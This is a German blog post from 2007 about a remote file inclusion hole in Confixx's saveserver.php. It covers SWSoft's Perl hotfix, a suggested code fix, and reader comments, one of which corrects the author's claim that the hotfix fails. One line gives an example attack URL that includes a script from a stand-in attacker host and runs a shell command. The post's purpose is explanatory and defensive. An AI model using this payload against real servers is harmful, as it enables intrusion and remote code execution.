Mittwoch, 1. August 2007

Sicherheit

Fehlerhafter Hotfix von SWSoft für das Confixx-Exploit

Der Hotfix für Confixx, welcher von SWSoft bereitgestellt wurde um die aktuelle Sicherheitslücke zu stopfen ist meiner Meinung nach fehlerhaft.

Das Exploit

Zuerst ein paar Worte zum eigentlichen Exploit. Verantwortlich für die Sicherheitslücke, ist die Datei html/admin/business_inc/saveserver.php. Das Problem besteht hierbei, dass die Variable $thisdir nicht initalisiert ist. Der fehlerhafte Code lautet wie folgt:

Download Code!

  1.  
  2. if( !in_array($returnto, $actions) )
  3. {
  4.         include( $thisdir . "/business_inc/list.php" );
  5. }
  6.  

Wenn nun die Datei saveserver.php folgendermaßen aufgerufen wird, kann man fremde Dateien einbinden, oder andere Dateien im Filesystem lesen.

saveserver.php?thisdir=http://crackersite/hack.txt?cmd=ls -la

Der Entdecker des Exploits nennt sich XPK. Das komplette Advisory findet ihr hier

Der Hotfix

Der Hotfix von Confixx enthält folgende Zeilen Perlcode, den ich wie folgt intereptiere:

Download Code!

  1.  
  2. print "This is a security hotfix for vulnerability in admin/business_inc/saveserver.php\n".
  3. "Should be applied to Confixx versions since 2.0.12 up to 3.3.1\n".
  4. "It also should be applied every time you make upgrade to one of vulnerable versions\n".
  5. "<press any key to continue or CTRL+C to cancel> "; <STDIN>;
  6.  
  7.  
  8. @files = (
  9.         "$installDir/admin/html/admin/business.php",
  10.         "$confixx_htmlDir/admin/business.php",
  11.         "$installDir/admin/html/admin/business_inc",
  12.         "$confixx_htmlDir/admin/business_inc",
  13.         "$installDir/admin/html/admin/business_edit.php",
  14.         "$confixx_htmlDir/admin/business_edit.php"
  15. );
  16.  
  17. foreach $file (@files){
  18.         system ("rm -rf $file\n") if (-e $file);
  19. }
  20. print "Done.\n";
  21.  

Alle Dateien, welche in dem @files - Array sind, werden gelöscht. Es wird also keine Anpassung an der Datei saveserver.php vorgenommen. Da aber genau diese Datei enthält die Sicherheitslücke. Demnach wird die Sicherheitslücke nicht geschlossen.

Lösung

Ich würde in der Datei saveserver.php die Variable initalisieren. Der Code würde demnach so aussehen:

Download Code!

  1.  
  2. $thisdir = '';
  3. if( !in_array($returnto, $actions) )
  4. {
  5.         include( $thisdir . "/business_inc/list.php" );
  6. }
  7.  

Ich weiss aber nicht, in wie weit diese Änderung einfluss auf das System hat. Ich kann also nicht sagen ob es funkitioniert, da ich Confixx selbst nicht nutze.

Weite Sicherheitslücken

Manu hat schon im Dezember SWSoft von weiteren Lücken in Confixx informiert, welche angeblich nocht nicht geschlossen sind

Richtigstellung

Wie Sergey in den Kommentaren bemerkt hat, wird die Datei doch gelöscht, weil sie sich unterhalb der Ordners html/admin/business_inc befindet.

Bewertung: 2.67 von 5, 3 Stimme(n) 1888 Klicks
Sicherheit
Von Mr.Foo in Sicherheit am 01.08.07@15:25 Uhr

Trackbacks
Trackback für spezifische URI dieses Eintrags

Anschlag auf den Blog verübt
Eben habe ich festgestellt, dass ein Cracker-Angriff auf den Entwickler Blog verübt wurde.Der Versuch Es wurde heute gegen 14:00 Uhr von einem, warscheinlich gekapertem Server, versucht auf dem System der Interpräsenz einzudringen. Angriff via Plesk
Weblog: Entwickler Blog
Aufgenommen: Aug 12, 16:21

6 Kommentare
Ansicht der Kommentare: (Linear | Verschachtelt)

Manuel Bräuer - #1 - 02.08.2007 18:12 - (Antwort)

hi,

ich habe mal auf die schnelle die datei(en) durchgeschaut, da es nur include files sind, kann man den zugriff auf das verzeichnis mit htaccess (deny from all) unterbinden...

alternativ sollte es auch ausreichen "register_globals" zu deaktivieren, da die variable "$thisdir" eben nicht expliziet initalisiert wird...

Manuel Bräuer

Sergey - #2 - 07.08.2007 09:01 - (Antwort)

"$confixx_htmlDir/admin/business_inc" - das ist Verzeichnis, deshalb wird das Verzeichnis mit allen Dateien, die unter dem Verzeichnis liegen, mittels des folgenden Befehl gelöscht werden:

system ("rm -rf $file\n")

Damit wird die Datei html/admin/business_inc/saveserver.php natürlich auch gelöscht.

Der Hotfix funktioniert richtig.

Mr. Foo - #2.1 - 09.08.2007 15:50 - (Antwort)

Hallo Sergey,

vielen Dank für den Hinweis - da ich selbst Confixx nicht einsetze kenne ich die Verzeichnisstruktur nicht.

Arne - #3 - 12.08.2007 00:36 - (Antwort)

Was mich nur verdammt wundert: Wenn der Hotfix korrekt ist (ich hab mich auch sehr über das einfache Löschen der Dateien in dem Array gewundert), warum soll man dann gleich so viel einfach löschen? Sind etwa die gesamten angegeben Dateien/Verzeichnisse mittlerweile obsolet und werden trotz Nichtnutzung noch ausgeliefert, oder wie hab ich das zu interpretieren? Weiss dazu jemand etwas sicheres?

Dirk - #4 - 24.01.2008 21:43 - (Antwort)

Ich hatte die saveserver.php in meinen Apache Logfiles, so bin ich auf diese Seite gekommen.
An dem Parameter hing die URL zu einem Trojaner.
Jedoch habe ich gar kein Confixx auf meinem Server laufen, sondern Plesk! Besteht hier auch diese Lücke, oder handelte es sich bei dem Log nur um einen Angriffsversuch?

Dave84620 - #4.1 - 17.09.2008 08:57 - (Antwort)

Mit diesen Aufrufen werden systematisch IP für IP die Webserver durchgescannt. Dabei wird nicht vorher geprüft, ob überhaupt ein Confixx läuft. Somit kann dieser Aufruf in den Logs von jeglichen Webservern zu finden sein.


Kommentar schreiben

Umschließende Sterne heben ein Wort hervor (*wort*), per _wort_ kann ein Wort unterstrichen werden.
Standard-Text Smilies wie :-) und ;-) werden zu Bildern konvertiert.
Die angegebene E-Mail-Adresse wird nicht dargestellt, sondern nur für eventuelle Benachrichtigungen verwendet.
Sie können [geshi lang=LANG][/lang] Tags verwenden um Quellcode abhängig von der gewählten Programmiersprache einzubinden
 
 

Mr. Foo

Fehlerhafter Hotfix von SWSoft für das Confixx-Exploit

  • Homepage

Suche

Kategorien

  • Android (2)
  • C-Sharp (4)
  • Datenbank (30)
  • Delphi (2)
  • Entwicklung (36)
  • Flash (5)
  • Games (10)
  • Gutscheine (4)
  • Hardware (14)
  • HTML CSS (16)
  • Internet (88)
  • Java (32)
  • Javascript (24)
  • Linkdump (9)
  • Linux (102)
  • Low-Level (10)
  • Lua (8)
  • Musik (9)
  • Netzwerk (25)
  • New World Order (109)
  • Perl (3)
  • PHP (130)
  • Magento (5)
  • Symfony (3)
  • Zend Framework (7)
  • Probleme und Lösungen (26)
  • Python (22)
  • Ressourcen (23)
  • Sicherheit (91)
  • Software (60)
  • Sonstiges (47)
  • Own Stuff (48)
  • Spass (46)
  • Technik / Wissenschaft (4)
  • Tips (15)
  • Weisheiten (17)
  • Windows (23)
  • Wort des Tages (15)


Alle Kategorien

Archive

  • Mai 2012
  • April 2012
  • März 2012
  • Das Neueste ...
  • Älteres ...

Abonnieren lohnt sich!

  • XML RSS 2.0 feed
  • ATOM/XML ATOM 1.0 feed
  • XML RSS 2.0 Kommentare

Tagcloud

Datenbank Entwicklung Internet Java Javascript Linux Lösung Netzwerk News New World Order PHP Problem Probleme und Lösungen Sicherheit Software Sonstiges Spass Tipp Update Windows

Beliebte Einträge

  • Magento ist scheisse (197)
  • Plugin-container.exe deaktivieren (107)
  • BWin Betrug und Abzocke bei Minigames? (65)
  • C compiler cannot create executables unter Debian (53)
  • Scheiss Linux - USB-Platte viel zu langsam (wenns mal funktioniert) (43)
  • Sicheres Kontaktformular mit PHP - Spam verhindern (37)
  • UML-Diagramme aus Java-Klassen generieren – Java2UML (28)
  • Es konnte keine TCP/IP-Verbindung mit dem Host hergestellt werden (28)
  • Option Bug im Internet Explorer bei Nutzung von innerHTML und Javascript (24)
  • Zend Studio - Javaw.exe lastet die CPU aus (24)

Kommentare

Hugo zu BWin Betrug und Abzocke bei Minigames?
So, 20.05.2012 12:25
ich habe mich gestern auf BWIN reg [...]
Ubuntu 12.04 zu The assembly mscorlib.dll was not found or could not be loaded.
Fr, 18.05.2012 17:11
Hat bei mir leider nicht geklappt. [...]
Oliver Riske zu Es konnte keine TCP/IP-Verbindung mit dem Host hergestellt werden
Di, 15.05.2012 20:38
Super Danke!
anon zu BWin Betrug und Abzocke bei Minigames?
Sa, 05.05.2012 18:43
ihr scheiss betrüger
Jürgen zu Unable to elevate error:1814 VLC Problem
Mi, 02.05.2012 16:54
So einfach ist es bei mir jedenfal [...]
 

Kontakt/Informationen